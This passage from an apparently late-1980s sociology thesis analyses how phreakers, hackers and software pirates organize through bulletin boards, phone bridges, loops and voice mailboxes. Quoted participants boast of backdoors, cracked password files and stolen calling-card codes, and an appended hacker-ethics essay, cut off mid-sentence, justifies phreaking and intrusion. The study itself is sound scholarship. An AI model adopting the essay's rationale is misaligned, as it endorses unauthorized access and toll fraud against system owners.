               that does not appear to be a pseudonym) the system

               operator will be put on guard that the caller may not

               be aware of the type of board that he has called, for

               the pseudonym is the most visible of CU cultural


                    All members of the underground adopt "handles" to

               protect their identity.  The pseudonyms become second

               identities and are used to log onto bulletin boards,

               and as  "signatures" on messages and instructional text

               files.16  They are not unlike those adopted by

               citizens-band radio users, and reflect both the humor

               and technical orientation of computer underground

               participants.  A review of handles used by phreakers,

               hackers, and pirates finds that they fall into three

               broad categories: figures from literature, films, and

               entertainment (often science fiction); names that play

               upon computers and related technologies; and

               nouns/descriptive names.  (See Appendix A for fictional

               examples of each.)

                    After providing a user name and entering a


                    16 The data suggest that, on the whole,
               individuals retain their handles over time.



               password to be used for future calls, the caller is

               asked several more questions designed to screen users

               and determine initial access privileges.  Unlike licit

               boards, underground BBS may have several different

               levels of access with only the most trusted users being

               able to read messages and get files in "elite" or "high

               access" areas that are unknown and unavailable to other

               callers.  In many cases, pirate boards are able to

               operate "above ground"  and appear to be open-public

               access systems unless callers have the proper

               privileges to access the areas where the "good stuff"

               is located.  The answers given to access questionnaires

               determine whether a caller will receive access to some,

               all, or none of the higher levels.

                    These questionnaires frequently ask for "personal

               references" and a list of other boards the caller has

               "high access" on.  The question is vague, and random

               callers are unlikely to answer it correctly.  However,

               if the caller lists pseudonyms of other CU members that

               are known and trustworthy to the sysop, as well as some

               other boards that are known to have "good users" and

               "good security" access will usually be granted.17  If

               all the answers are relevant and indicative of CU

                    17 The data suggest that personal references are
               only checked if something seems unusual or suspicious.



               knowledge, then initial access is normally granted.

                    Other methods of controlling access include

               presenting a "quiz" to determine if the technical

               knowledge of the user is up to par with the expertise

               expected on the boards.18  Some systems, instead of a

               quiz, ask the user to write a short statement (100

               words or less) about why they want access, where they

               got the phone number to the system, and what they can

               provide to other users. Some pirate boards come right

               out and ask the user to supply a list of the good

               "warez" that they can upload and what they are looking

               to download. If the caller fails to list recent

               copyrighted programs then it is evident that they are

               unaware of the nature of the BBS:

                    I had this one dude call up and he told me in
                    his message that he was looking for some
                    "good games."  So instead of giving him
                    access I just left him some e-mail %a private
                    message%.  I asked what kind of games he was
                    looking for. Next time he called he wrote
                    back and said "a public domain Asteroids
                    game."  I couldn't believe it. Not only is
                    Asteroids so damn old it's lame, but this guy
                    is looking for pd %public domain% shit.  No
                    way was he going to get access. He didn't
                    even know what this board is. I left him a
                    message telling him that I didn't have one.
                    He never called back after that (CH, sysop of
                    a pirate BBS, field notes, 1988).


                    18 One such quiz, from a p/h board, can be found
               in Appendix B.



                    Ironically, the pseudo-elaborate security methods

               of underground boards, while they may be effective in

               keeping off random non-CU callers, are not effective in

               screening out "feds." Data and media accounts show that

               boards are regularly infiltrated by telephone security

               personnel and software companies. Also, the adoption of

               handles to protect identities is defeated by the

               consistent use of the same handle over time. But in

               order to obtain and maintain status and prestige in the

               CU one must keep the same pseudonym in order to

               (literally) "make a name for oneself." The fact that CU

               communication is not face-to-face requires a consistent

               means of identifying oneself to others.  The handle

               fulfills this purpose but at the same time becomes as

               attached to a single individual as a real name would.

               The access rituals of the computer underground, which

               are contingent on being a "known" pirate or

               phreak/hacker, make changing handles unproductive.

                    The life blood and center of the computer under-

               ground is the bulletin board network.  Acting as both

               the main trade center of performance related tools and

               innovations and as a means of socialization, the

               underground could not exist without the BBS network.

               They serve to "recruit" and educate newcomers and

               provide a way to traffic in information and software.


               The pirating enterprise in particular is very dependent

               upon the BBS as they are the very means by which

               "warez" are traded.  For the phreak/hacker community,

               BBS provide a means of trading the resources of system

               numbers and passwords, as well as instructional texts

               on techniques.  The access process serves as evidence

               of mutual association amongst phreakers, hackers, and

               pirates as cultural knowledge is needed as well as

               personal references (evidence of acceptance and access

               to others).

                    The CU bulletin board systems are unique in that

               they provide a way to exchange information with a large

               number of others.  The other methods of CU commun-

               ication are based on conversations rather than written

               texts and thus are much less permanent.  These methods,

               discussed next, are telephone bridges/loops, voice mail

               boxes, and computer "chat" systems.

               Bridges, Loops, and Voice Mail Boxes

                    Of the additional means of communication used by

               the CU, telephone "bridges" and "loops" are most

               common.  Unlike BBS, which require data links provided

               by a computer and modem, bridges and loops are "old

               fashioned" voice connections.  Since they can not

               accommodate the transfer of programs or files they are

               used primarily by phreakers and hackers, and most often


               as a social/recreational outlet.

                    A "bridge" is a technical name for what is

               commonly known as a "chat line" or "conference system."

               They are familiar to the  public as the pay-

               per-minute group conversation systems advertised on

               late night television.  Many bridge systems are owned

               by large corporations who maintain them for business

               use during the day.  While the numbers to these systems

               is not public knowledge, many of them have been

               discovered by phreaks who then utilize the systems

               during the night.

                    In addition to these pre-existing conference

               systems, phreakers have become skilled at  arranging

               for a temporary, private bridge to be created via

               AT&T's conference calling facilities.  This allows for

               conversations to be held among a self-selected group of


                    Bridges can be %sic% extremely useful means
                    of distributing information as long as the
                    %phone% number is not known, and you don't
                    have a bunch of children online testing out

                    19 The data indicates that these private
               conference calls aren't "scheduled" in any real sense.
               One p/hacker will initiate the conference and call
               others at home to add them to the conference.  As more
               people join they suggest others to add. The initiator
               can temporarily jump out of the conference, call the
               new person and solicit their attendance. If they don't
               want to join or aren't home, the initiator simply
               returns to the conference without adding them in.



                    their DTMF.20  The last great discussion I
                    participated with over a bridge occurred
                    about 2 months ago on an AT&T Quorum where
                    all we did was engineer 3/way %calls% and
                    restrict ourselves to purely technical infor-
                    mation. We could have convinced the Quorum
                    operators that we were AT&T technicians had
                    the need occurred. Don't let the kids ruin
                    all the fun and convenience of bridges.
                    Lameness is one thing, practicality is
                    another (DC, message log, 1988).

                    In addition to setting up "private" bridges,

               p/hackers can utilize "loop lines" in a further attempt

               to limit the number of eavesdroppers on their

               conversations. Unlike bridges, which connect a

               virtually unlimited number of callers at once, "loops"

               are limited to just two people at a time.

                    "Loop lines" are actually telephone company test

               lines installed for internal use.21  A loop consists of

               two separate telephone numbers that connect only to

               each other. Each end has a separate phone number, and

               when each person calls one end, they are connected to

               each other automatically.  This allows for individuals

                    20 "Dual Tone Multi Frequency" or in laymen terms,
               the touch tone sounds used to dial phone numbers.

                    21 These test lines are discovered by phreaks and
               hackers by programming their home computer to dial
               numbers at random and "listen" for the distinctive tone
               that an answering loop makes, by asking sympathetic
               telephone company employees, or through information
               contained on internal company computers.



               to hold private conversations without divulging their

               location or identity by exchanging telephone numbers.

                    Finally, voice mail boxes ("VMB") are another

               means of communicating with individual actors. There

               are several commercial voice mail box systems located

               throughout the country.  They function similar to a

               telephone answering machine in that callers can call

               in, listen to a recorded message, and then leave a

               message for the box owner. Many of these systems are

               accessible via toll-free telephone numbers. The

               security of some VMB systems is notoriously poor. Many

               phreaks have expertise in "creating" boxes for

               themselves that are unknown (until discovered) by the

               owner of the system. However, these boxes are usually

               short lived since discovery by the system operator, and

               closure of the box, is only a matter of time. But as

               long as the box is functioning, it can serve as a means

               of communicating with others.  VMB numbers are

               frequently posted on bulletin boards with invitations

               to "call if you have any good stuff."  They are often

               used by pirates to exchange messages about new releases

               of software, and by phreak/hackers to trade account and

               access numbers.  Additionally, some of the underground

               newsletters and journals obtain boxes so users can call

               in news of arrests and other gossip.


                    Like bulletin boards, VMBs are systems that allow

               information to be disseminated to a large number of

               associates, and unlike the live telephone conversations

               of bridges and loops, they are available at any time of

               the day.  Additionally, VMB's don't require use of a

               computer and modem, only a touch tone phone is needed

               to call the box.  Their usefulness is limited somewhat

               because they play only one "outgoing" message at a

               time, and their transitory nature limits their



                    Phreakers, hackers and pirates do not act as

               loners.  They have adopted existing methods of

               communication, consistent with their skills in high

               technology, to form a social network that allows for

               the exchange of information, the socialization of new

               members, socializing with others, and in the case of

               pirates, performing the "deviant" act itself via these


                    These communication points create and foster

               groups of loosely associated individuals, with specific

               interests, coming together to exchange information

               and/or software. It is impossible to be a part of the

               social network of the computer underground and be a

               loner.   Based upon the Best and Luckenbill measure,


               actors in the computer underground, by displaying

               mutual association, organize as colleagues.

                    The social network of the computer underground

               provides the opportunity for colleagues to form

               cooperative working relationships with others, thus

               moving the CU towards a more sophisticated form of

               social organization.  These "hacker groups" are

               addressed in the next section.


                                Mutual Participation

                    In the previous chapter the ways in which the

               structure of the computer underground fosters mutual

               association  were discussed. Their social outlets and

               means for informational exchange bring the CU community

               together as deviant colleagues.  Their relationships

               fit quite well into the Best and Luckenbill (1982)

               typology of collegial associations:

                    The relationship between deviant colleagues
                    involves limited contact.  Like loners,
                    colleagues perform their deviant acts alone.
                    But unlike loners colleagues associate with
                    one another when they are not engaged in
                    deviance . . . In effect, there is a division
                    between two settings; onstage where
                    individual performs alone; and backstage,
                    where colleagues meet (cf Goffman).  In their
                    backstage meetings, colleagues discuss
                    matters of common interest, including
                    techniques for performing effectively, common
                    problems and how to deal with them, and ways
                    of coping with the outside world (1982 p.37).

                    However, despite the advantages of collegial

               association, ties between CU participants are weak.

               Loyalty between individuals seems rare, as the CU is

               replete with tales of phreak/hackers who, when

               apprehended, expose identities or "trade secrets" in

               order to avoid prosecution.  These weak collegial ties

               may be fostered by the anonymity of CU communication

               methods, and the fact that all CU actors are, to some


               extent, in competition with each other. There are only

               so many systems with weak security and once such a

               system is found, sharing it with others will virtually

               ensure that the hole will be sealed when the increased

               activity is noticed.  Thus while p/hackers will share

               general knowledge with each other, specific information

               is not disseminated publicly.

                    As Best and Luckenbill have observed, in order to

               remain in a collegial relationship individuals must be

               able to successfully carry out operations alone (1982

               p.45). In order to sustain a career in p/hacking one

               must pursue and collect information independent of what

               is shared on the communication channels.  Despite the

               association with other phreakers and hackers, the

               actual performance of the phreak/hacking act is a

               solitary activity.22

                    That is not to say, however, that p/hackers never

               share specific information with others.  As discussed

               earlier, p/hack bulletin board systems frequently have

               differentiated levels of access where only highly

               regarded individuals are able to leave and read

               messages. These areas are frequently used to keep

                    22 This does not hold true for pirates. By
               definition they must trade programs with other



               information from "unskilled" users at the lower levels.

               There are strong social norms that some information

               should not be shared too widely, as it may be either

               "abused" or fall into the hands of enforcement agents.

               For example, when one p/hacker announced that he was

               going to release a tutorial on how to infiltrate a new

               telephone company computer, he received the following

               messages in reply:

                    Not smart, DT. %That computer% is a system
                    which can be quite powerful if used to its
                    potential. I don't think that information on
                    programming the switches should be released
                    to anyone. Do you realize how destructive
                    %that computer% could really be if used by
                    someone who is irresponsible and intends on
                    destroying things? Don't even think about
                    releasing that file. If you do release that
                    file, it will disappear and will no longer
                    remain in circulation. Believe me. Not many
                    have the right to know about %that computer%,
                    or any other delicate telco computers for
                    that matter. Why do you think the fucking New
                    York Times published that big article on
                    hackers screwing around with telco machines?
                    Not only will you get into a lot of trouble
                    by releasing that file on %computer%, you
                    will be making telcos more aware of what is
                    actually happening, and soon no one will be
                    able to learn about their systems. Just think
                    twice (EP, message log, 1988).

                    Why would you want normal people to have such
                    knowledge? Any why would you post about it?
                    If you have knowledge that's fine but DON'T
                    spread that knowledge among others that may
                    abuse it. It's not impressive! I don't know
                    why anyone would want to disperse that
                    knowledge. Please don't release any "in
                    depth" files on such systems of great power.
                    Keep that to yourself it will just mess it up
                    for others (UU, message log, 1988).



                    The desire to share information with selected

               colleagues often leads to the formation of cooperative

               "working groups." These partnerships are easily formed,

               as the structure of mutual association in the CU

               creates a means where "talent" can be judged on the

               basis of past interactions, longevity in the field, and

               mutual interests. When allegiances are formed, the CU

               actors begin "mutual participating" in their acts, thus

               becoming "peers" in terms of social organization.

                    Mutual participation, as defined in the Best and

               Luckenbill typology, is exhibited by actors sharing in

               the same deviant act, in the physical presence of one

               another (1982 p.45).  However, the measurement was

               "grounded" in studies of traditional deviant

               associations (eg:  street gangs, prostitutes, etc.)

               where "real-time" interaction is common. The technology

               used by the CU negates this requirement as actors can

               be located in different parts of the country.

               Additionally, "hacking" on a system, by a group of

               peers, does not require simultaneous participation by

               all members.  However Best and Luckenbill's typology is

               an ideal type, and the activities of peers in the

               computer underground do not fall outside of the spirit

               or intention of their concept of mutual participation.

               Their description of deviant peer associations is


               presented here:

                    Deviant peers are distinguished from
                    colleagues by their shared participation in
                    deviance.  While colleagues carry out their
                    deviant operations alone, peers commit
                    deviant acts in one another's presence.
                    Peers cooperate in carrying out deviant
                    operations, but they have a minimal division
                    of labor, with each individual making roughly
                    comparable contribution.  Peer relationships
                    also tend to be egalitarian and informal;
                    some peers may be acknowledged leaders or
                    admired for their skill, but there is no set
                    division of authority.  Like colleagues,
                    peers share subcultural knowledge, but peer
                    groups typically provide their members with
                    more support.  In addition to cooperating in
                    deviant operations, peers may recruit and
                    socialize newcomers and supply one another
                    with deviant equipment and social support.
                    Thus, the bonds between peers are stronger
                    than those linking colleagues (1982, p.45).

                    Peer associations in the CU are largely limited to

               small groups23 working on a specified goal.  Both

               pirates and p/hackers organize themselves in this

               regard, though their characteristics differ.  We begin

               with a discussion of mutual participation among


               Pirate Groups

                    Pirate groups are composed of less than ten

                    23 In terms of the ideal type for deviant peers
               any two individuals working in cooperation exhibit
               mutual participation. The discussion here addresses
               groups that consist of three or more people that
               identify themselves as a sort of "club." Short-lived
               interaction between two people is not considered a
               "group" in the CU culture.



               members.  Their primary purpose is to obtain the latest

               software, remove any copy-protection from it, and then

               distribute it to the pirate community.  Often the

               "warez" that they distribute will be adorned with the

               group name, so subsequent users will be aware of the

               source of the software.  Many pirate groups have "home"

               BBS systems that act as key distribution points, and as

               places where outsiders can communicate with members of

               the association. This researcher was unable to obtain

               data about the internal organization of pirate groups,

               but it appears that they are leaderless, with

               individual members working alone but giving credit to

               the group as a whole.

               Phreak/hack groups

               The existence of phreak/hacker groups is well

               documented in the data, and has been heavily reported

               in the media.  Two hacker groups in particular, The

               414's (named for the Wisconsin area code in which they

               lived), and The Inner Circle, received a large amount

               of press after being apprehended for various computer

               break-ins.  However, the "threat" that such groups

               represent has probably been overstated as the data

               indicate that "hacker gangs" vary greatly in

               organization and dedication to the CU enterprise.

                    Many hacker groups are short-lived associations of


               convenience, much like the "no girls allowed!" clubs

               formed by young boys.  They often consist of four to

               nine beginning phreak/hackers who will assist each

               other in obtaining telephone credit-card numbers. By

               pooling their resources, a large number of illicit

               "codez" can be obtained and shared with others.

               Distribution of the account numbers is not limited to

               the group, they are often shared with the community at

               large, "courtesy of Codez Kidz Ltd." Groups of this

               type are looked at with disdain by "elite"

               phreak/hackers and are often criticized as being more

               interested in self-promotion then they are with

               actually phreaking or hacking.

                    Some hacker groups are very proficient and

               dedicated to their craft, however. These groups are

               characterized by smaller memberships, less visibility

               to non-members, and commitment to the CU enterprise.

               They are loosely organized, yet some have managed to

               exist six or more years despite members dropping out or

               being arrested. These "elite" groups are selective

               about membership, and cite trust and talent as the two

               leading requirements for joining:

                    The group exists mainly for information
                    trading. If you trust everyone else in the
                    group, it is very profitable to pool
                    information on systems . . . also it is nice
                    to know someone that you can call if you need
                    help on operating system X and to have people


                    feel free to call you if they need help on
                    operating system Y (AN, message log, 1988).

                    Trust is a very important part of a group. I
                    think that's blatantly obvious. You have to
                    be able to trust the other members of the
                    group with the information you are providing
                    in order to be productive, and have a secure
                    situation (UU, message log, 1988).

                    . . . all groups serve the same purpose: to
                    make their members feel better about
                    themselves (like, wow, I'm in a group) and to
                    trade things, whether it's wares, codes, or
                    whatever. But the thing is that being in a
                    group is like saying "I trust you, so like,
                    what can we do together?" (NN, message log,

                    Indeed, hacker groups are formed primarily for the

               purpose of information exchange.  To this end, groups

               attempt to recruit members with a wide variety of

               "specializations" in order to have a better support

               network to turn to:

                    %Our group% has always been very selective
                    about members (took me six years to get in).
                    The only reason the group exists is to bring
                    together a diverse group of talents. There is
                    very little overlap in %the group% these
                    days.  Everyone has one thing that they are
                    the best in the country at, and are
                    conversant with just about any other form of
                    hacking.  As an example, I got into a Primos
                    computer this morning around 9 am. Once I got
                    in, I know enough about Primos to get around,
                    but that's it. So I call %PS% in New York,
                    give him the info, and when I get home
                    tonight, he has gotten in and decrypted the
                    entire username/password file and uploaded it
                    to me.  But two weeks ago he got into a VAX.
                    He got the account to me, I called it up and
                    set up three backdoors into the system that
                    we can get in if the account is detected or
                    deleted.  Simple matter of communism.  From
                    each according to his ability . . . etc. Also


                    it helps that everyone in the group is
                    experienced enough that they don't fuck up
                    accounts you spend all day getting (TM, field
                    notes, 1989).

                    Consistent with the Best and Luckenbill ideal

               type, hacker groups do not exhibit a set division of

               authority or labor. Most groups are leaderless, and

               every member is free to pursue their own interests,

               involving other members of the group only when desired:

                    We just got our group together.  We've got a
                    guy that does VMB's and a Sprinter %obtains
                    "codez" from U.S. Sprint% and a couple of
                    hackers.  Everybody's free to pursue whatever
                    system they want but if they want or need
                    some help they can call on any of the other
                    members if they want to. Like if one guy is
                    scanning and finds a VAX he might call and
                    give me the dialup.  Then I might have to
                    call our Sprinter to get some codez so I can
                    start hacking on it.  Once I get through I'll
                    give the account to the other members.  But
                    if I found it myself I wouldn't have to give
                    it out but I probably would anyway 'cuz
                    keeping it would be bullshit (DC, field
                    notes, 1988).

                    There isn't a leader really.  The guy who
                    starts the group sort of acts like a contact
                    point but everyone else has everyones' phone
                    number and you can call whoever you want to
                    anytime.  Usually when you're putting a group
                    together you just get everyone you want and
                    you all decide on a name. (DC, field notes,


                    By virtue of the extensive social network found in

               the CU, some participants form work groups.  The

               sophistication of these groups varies, but in all cases


               it is evident that the groups exist to support what are

               primarily individually performed activities.  The

               groups exhibit many of the ideal-type characteristics

               of peer associations, and it is clear that in some

               cases the computer underground is socially organized as





                    Phreakers, hackers, and pirates do not act as

               loners.  Loners do not associate with others, and are

               on their own in coping with the practical problems

               presented by their activities (Best and Luckenbill

               1982, p.28).  From the data presented here, it is

               evident that the computer underground has established

               an extensive social network for the exchange of

               resources and mutual support.  The characteristics of

               the CU varies according to the goals of the

               participants, but the presence of mutual association is

               consistent. Contact between individuals is limited,

               with the acts of phreaking or hacking being committed

               alone.  Computer underground participants do associate

               with one another in order to discuss matters of common

               interest, such as performance techniques, news, and

               problem solving.  To facilitate this informational

               exchange, they have established a technologically

               sophisticated network that utilizes computer bulletin

               boards, voice mail boxes, telephone bridges, and

               telephone loops.

                    The collegial organization of the computer

               underground is further evidenced by the establishment

               of a CU culture. The subcultural adaptation of


               language, expectations of normative conduct, and status

               stratification based on mastery of cultural knowledge

               and skill, all indicate that the computer underground

               is, at the very least, a social organization of

               colleagues (see Best and Luckenbill, 1982, p.37).

                    The very structure that permits mutual association

               among CU participants also encourages some to form

               working relationships, thus acting as peers by mutually

               participating in CU activities. Peers organized in this

               manner share in their deviance, organizing informally

               with little division of labor or set division of

               authority (Best and Luckenbill, 1982, p.45).  These

               peer associations provide support to members, and can

               provide socialization and recruitment functions for

               newcomers. The establishment of work groups, through

               mutual participation, indicates that though the

               computer underground is largely organized as a network

               of colleagues, it is also, to some degree, a social

               organization of peers.

                    Best and Luckenbill (1982) describe two additional

               forms of deviant associations that are more

               organizationally sophisticated than peers: "mobs" and

               "formal organizations." The computer underground,

               however, does not display the requisite characteristics

               of these organizational types.  The primary


               characteristic of "mobs" is an elaborate division of

               labor (Best and Luckenbill, 1982, p.25).  While some CU

               groups do exhibit a rudimentary division of labor based

               on individual members' specialization, it is not by any

               means "elaborate."  Any division of labor that does

               exist is voluntary and arises on the basis of

               specialized knowledge, not a specialized organizational


                    In much the same manner the lack of a designated

               leader or leadership hierarchy prevents CU groups from

               being categorized as "formal organizations" in the Best

               and Luckenbill typology.  Deviant organizations at this

               level are quite sophisticated and there is no empirical

               evidence that the computer underground is organized in

               this manner.

                    This study of the computer underground has been a

               test of the Best and Luckenbill typology of the social

               organization of deviants.  As a test of their

               organizational indicators, the CU has shown that the

               categories are well constructed, with the possible

               exception of limiting "mutual participation" to acts

               carried out in the presence of others.  However, if we

               modify this to include non-simultaneous, but

               cooperative, acts as found in phreak/hacker groups, the

               category is otherwise robust.  The flexibility of the


               typology, which explicitly recognizes that not all

               deviant associations will display all of the character-

               istics (Best and Luckenbill, 1982, p.25), is a strength

               that allowed it to be easily used in terms of the

               computer underground.

                    By addressing the CU from a social organizational

               viewpoint we have seen that despite the high technology

               trappings of their craft, pirates, phreakers, and

               hackers display organizational characteristics found in

               other groups that have been criminalized.  This may

               suggest that the development of sophisticated tools to

               commit "crime" does not necessarily affect the ways in

               which individuals organize their activities.

                    The implications of peer and collegial

               organization for the members of the computer

               underground are vast.  The level of sophistication has

               a direct relationship to the types of resources on

               which individuals can draw (Best and Luckenbill, 1982,

               p.54).  Because CU members are mutually associated,

               they are able to turn to colleagues for advice and

               support with various problems.  However, at the

               collegial level they are left to enact the solutions

               independently.  Whether or not they are successful in

               doing so will determine if they choose to remain active

               in the computer underground.  The data show that


               involvement in the CU is short in duration, unless

               success in early phreak/hack attempts is obtained.  As

               long as the CU remains organized as a collection of

               colleagues, this trend will continue.  Additionally, as

               the computer and telephone industries become more

               sophisticated in preventing the unauthorized use of

               their facilities, new phreak/hackers are unlikely to

               succeed in their initial attempts at the act, thus

               dropping away from the activity and never becoming

               acculturated to the point where peer relationships can

               be developed.

                    At the peer level, a dimension of sophistication

               that some members of the CU do display, the knowledge

               and resources to solve problems and obtain resources is

               greater.  However, even at this level the ties between

               peers remain weak at best.  Although their cooperative

               ties allow for more sophisticated operations, and

               somewhat reduce the CU's vulnerability to social

               control agents (Best and Luckenbill, 1982, p.53), it

               still does not completely eliminate the need for

               individual success in order to sustain a CU career.  As

               long as the CU remains at the current level of

               organizational sophistication, with weak ties and

               somewhat limited means of support and resource

               attainment, it will continue to be a transitory and


               limited "criminal" enterprise.

                    This realization should be considered by policy

               makers who desire to further criminalize computer

               underground activities. Given the current organization

               of the CU, the future social costs of their actions are

               not likely to expand beyond the current level.  There

               is no evidence to support assertions that the CU is

               expanding, and the insight provided here shows that it

               is not likely to do so on a large scale.

                    For sociologists, the computer underground is a

               field rich for insight into several areas of concern.

               Future research into the career path of CU members, and

               the relationships between individuals, could prove

               helpful to those interested in applying theories of

               differential association and career deviance.

               Additionally, the computer underground provides a

               unique opportunity to study the process of

               criminalization, and its effect on those who are

               engaged in the behavior.



               Best, Joel and David F. Luckenbill. 1982. Organizing
               Deviance. Englewood Cliff, New Jersey: Prentice-Hall.

               Bequai, August. 1987. Technocrimes. Lexington,
               Mass.:Lexington Books.

               Bickford, Robert. 1988. Personal communication to
               Gordon Meyer.

               Chicago Tribune. 1989. "Computer hacker, 18, gets
               prison for fraud."  Feb. 15:2,1.

               Field Notes. Interviews with phreakers, hackers, and
               pirates. Conducted from 7/88 to 4/89 (confidential
               material in authors files).

               Hollinger, Richard C. and Lonn Lanza-Kaduce. 1988. "The
               Process of  Criminalization: The Case of Computer Crime
               Laws." Criminology 26:101-126.

               Levy, Steven. 1984. Hackers: Heroes of the Computer
               Revolution. New York: Dell Publishing.

               Message Logs from a variety of computer underground
               bulletin board systems, (confidential material), 1988-

               NBC-TV. 1988. Hour Magazine. November 23, 1988.

               Parker, Donn B. 1983. Fighting Computer Crime. New
               York: Charles Scribner's Sons.

               Rosenbaum, Ron. 1971. "Secrets of the Little Blue Box."
               Esquire October, pp. 116-125.

               Small, David. 1988. Personal communication to Gordon

               WGN-Radio. 1988. Ed Schwartz Show. September 27, 1988.



                                     APPENDIX A
                           COMPUTER UNDERGROUND PSEUDONYMS

              |Literature, films,|Computers &        |Nouns, titles &  |
              |and Entertainment |related technology |Descriptive names|
              | Pink Floyd       | Mrs. Teletype     | The Professor   |
              | Hatchet Molly    | Baudy Bastard     | Perfect Asshole |
              | Jedi Knight      | Doctor Phreak     | The Messiah     |
              | King Richard     | Lord FAX          | Right Wing Fool |
              | Captain Hoga     | CNA Office        | Bed Bug         |
              | Al Crowley       | Sir Mac           | Sleepy Head     |
              | Doc Holiday      | Busy Signal       | Mean  Underwear |
              | Mr. Big Dog      | Silicon Student   | Cockroach       |
              | Robin Williams   | Fiber Cables      | Primo Bomber    |
              | Big Bird         | Phone Crasher     | The Prisoner    |
              | Cross-eyed Mary  | Doc Cryptic       | Night Lighting  |
              | Capt. America    | Apple Maniac      | No Regrets      |
              | Uncle Sam        | Fuzzy Sector      | Grounded Zero   |
              | Thumpr           | Cntrl. Alt. Del.  | Spit Wad        |
              | Little John      | Byte Ripper       | Shadow Dove     |



                                     APPENDIX B

                    Welcome to Analog Electronics Datum System.
               Please take this time to fill out a one-time
               questionnaire that will allow us to determine your
               level of access on Analog Electronics Datum System.

                    If any question is too difficult for you to
               answer, just answer with your best guess or a simple "I
               don't know."

                    We basically have two different divisions or types
               of users on this system:

                       (1) Apple (%%,Mac), and IBM software traders
                       (2) Telecommunication hobbyists - any/all
                           computers (networks, mainframes,

                    Your answers will help us decide which category
               you belong to and what access you should get on our

               * What type of computer & modem are you using to call
               this system?

               * Where did you get the phone number to Analog
               Electronics Datum System?

               * We'll need your first name and real phone # where you
               can be reached for validation purposes only, this
               information is kept in a password encoded file, on
               another computer (critical for higher validation):

               First for the FILE TRANSFER AREA ACCESS questions:

               (1) How many bits are in a nibble? (Assume 6502 micro

               (2) Define WORM, RAM, ROM, VDT, CRT, BPS? (Pick any 3)

               (3) What does 2400 baud mean in terms of bit transfer



               (4) What is PT,MT,AE,BIN2,Ymodem Batch,BLU? (Pick any

               (5) How many Megahertz does a standard Apple %%+ run
                   at? (rounding OK)

               Now for the TeleCommunication Questions:

               (1) Describe the Voice Transmission Use of a Loop:

               (2) If I gave you my phone #, how would you find my
                   name and address?!

               (3) Can you name any networking software operating
                   systems or protocols?

               (4) What is the highest frequency a twisted two wire
                   pair can transmit at?

               (5) We believe Phones and Computers Belong Together,
                   what do you BELIEVE?

               Ok, thanks for that info.

                                      SYSTEM VALIDATORS


                    Welcome  to  ALDS!  As a new  user you have  made
               a  change  for the better in choosing this system as
               one of your places of telecommunication exchange.   In
               my  opinion, this  is one, if  not  the  best, system
               in telecommunications today as most of the good  boards
               such as Shadowspawn, Metal  Shop  Private, etc. do not
               exist anymore.  Quality users exist on this system that
               have established a reputation for themselves so
               questions you ask will be answered thoroughly and
               precisely.  We are a sponsor board of the  LOD/H
               Technical  Journal,  and  accounts  have  been
               established representing  Phrack,  Inc.  and 2600
               Magazine.  (For our software trading people, we also
               have an excellent file transfer area . . . consistent
               with the rest of the nation . . . )

                    Due to the high quality of our system, we will


               need some additional information about you.
               Maintenance  of a high  quality system requires high
               quality users, so the first step in  this  process is
               keeping the low quality users off of the system . . .
               so please cooperate with us . . . this is for your
               benefit as well as ours.   The information you give us
               will be cross referenced with other systems for
               accuracy, and if you leave false information, you may
               suffer low access or deletion.

                    All phone number information is stored outside of
               the housing of this system inside of an encrypted,
               password locked file for your security. So if you have
               left an invalid phone #, please leave one where you can
               be reached, or someone's name and number (if possible)
               that will vouch for you.  Keep in mind this validation
               can take up to 1 week to complete due to the high
               volume of new callers to our system.

               Note: Limited system access will be granted within 24
               Hrs if all of your  info seems correct.

               Thanks in advance . . .            Bugsy Malone
                                                  The Swapper
                                               SYSOP/SYSTEM VALIDATORS

               % Bugsy Malone needs the following info: %

               (1) Your references (sysops, other users on this
                   system, other BBS).
               (2) Your interests in having access to our system.
               (3) How do you feel you can contribute to our system?
               (4) How many years of telecommunication experience do
                   you have?
               (5) Do you have any special talents in programming, or
                   operating systems?
                   If yes, then name the language(s) or operating

               Enter message now, answering these questions:

               %after entering the message the BBS hangs up and the
               caller will  call back in 24 hours to see if access has
               been granted.%


The Ethics of Hacking, by Dissident of TES

                                  TES Presents

                        |    The Ethics of Hacking    |
                              written by Dissident

     I went up to a college this summer to look around, see if it was where I
wanted to go and whatnot.  The guide asked me about my interests, and when I
said computers, he started asking me about what systems I had, etc.  And when
all that was done, the first thing he asked me was "Are you a hacker?"
     Well, that question has been bugging me ever since.  Just what exactly
is a hacker?  A REAL hacker?
     For those who don't know better, the news media (and even comic strips)
have blown it way out of proportion...  A hacker, by wrong-definition, can be
anything from a computer-user to someone who destroys everything they can get
their evil terminals into.
     And the idiotic schmucks of the world who get a Commodore Vic-20 and a
300 baud modem (heh, and a tape drive!) for Christmas haven't helped hackers'
reputations a damn bit.  They somehow get access to a really cool system and
find some files on hacking...  Or maybe a friendly but not-too-cautious
hacker helps the loser out, gives him a few numbers, etc.  The schmuck gets
onto a system somewhere, lucks up and gets in to some really cool information
or programs, and deletes them.  Or some of the more greedy ones capture it, 
delete it, and try to sell it to Libya or something.  Who gets the blame?
     The true hackers...that's who.  So what is a true hacker?
     Firstly, some people may not think I am entirely qualified to say,
mainly because I don't consider myself a hacker yet.  I'm still learning the
ropes about it, but I think I have a pretty damn good idea of what a true
hacker is.  If I'm wrong, let one correct me...

     True hackers are intelligent, they have to be.  Either they do really
great in school because they have nothing better to do, or they don't do so
good because school is terribly boring. And the ones who are bored aren't that
way because they don't give a shit about learning anything. A true hacker wants
to know everything.  They're bored because schools teach the same dulll things
over and over and over, nothing new, nothing challenging.
     True hackers are curious and patient.  If you aren't, how can you work
so very hard hacking away at a single system for even one small PEEK at what
may be on it?
     A true hacker DOESN'T get into the system to kill everything or to sell
what he gets to someone else.  True hackers want to learn, or want to satisfy
their curiosity, that's why they get into the system.  To search around inside
of a place they've never been, to explore all the little nooks and crannies
of a world so unlike the boring cess-pool we live in.  Why destroy something
and take away the pleasure you had from someone else?  Why bring down the
whole world on the few true hackers who aren't cruising the phone lines with
malicious intent?
     True hackers are disgusted at the way things are in this world.  All the
wonderful technology of the world costs three arms and four legs to get these
days.  It costs a fortune to call up a board in an adjoining state!  So why
pay for it?  To borrow something from a file I will name later, why pay for
what could be "dirt cheap if it wasn't run by profiteering gluttons"?
Why be forced, due to lack of the hellacious cash flow it would require to
call all the great places, to stay around a bunch of schmuck losers in your
home town?  Calling out and entering a system you've never seen before are
two of the most exhilirating experiences known to man, but it is a pleasure
that could not be enjoyed were it not for the ability to phreak...
     True hackers are quiet.  I don't mean they talk at about .5 dB, I mean
they keep their mouths shut and don't brag.  The number one killer of those
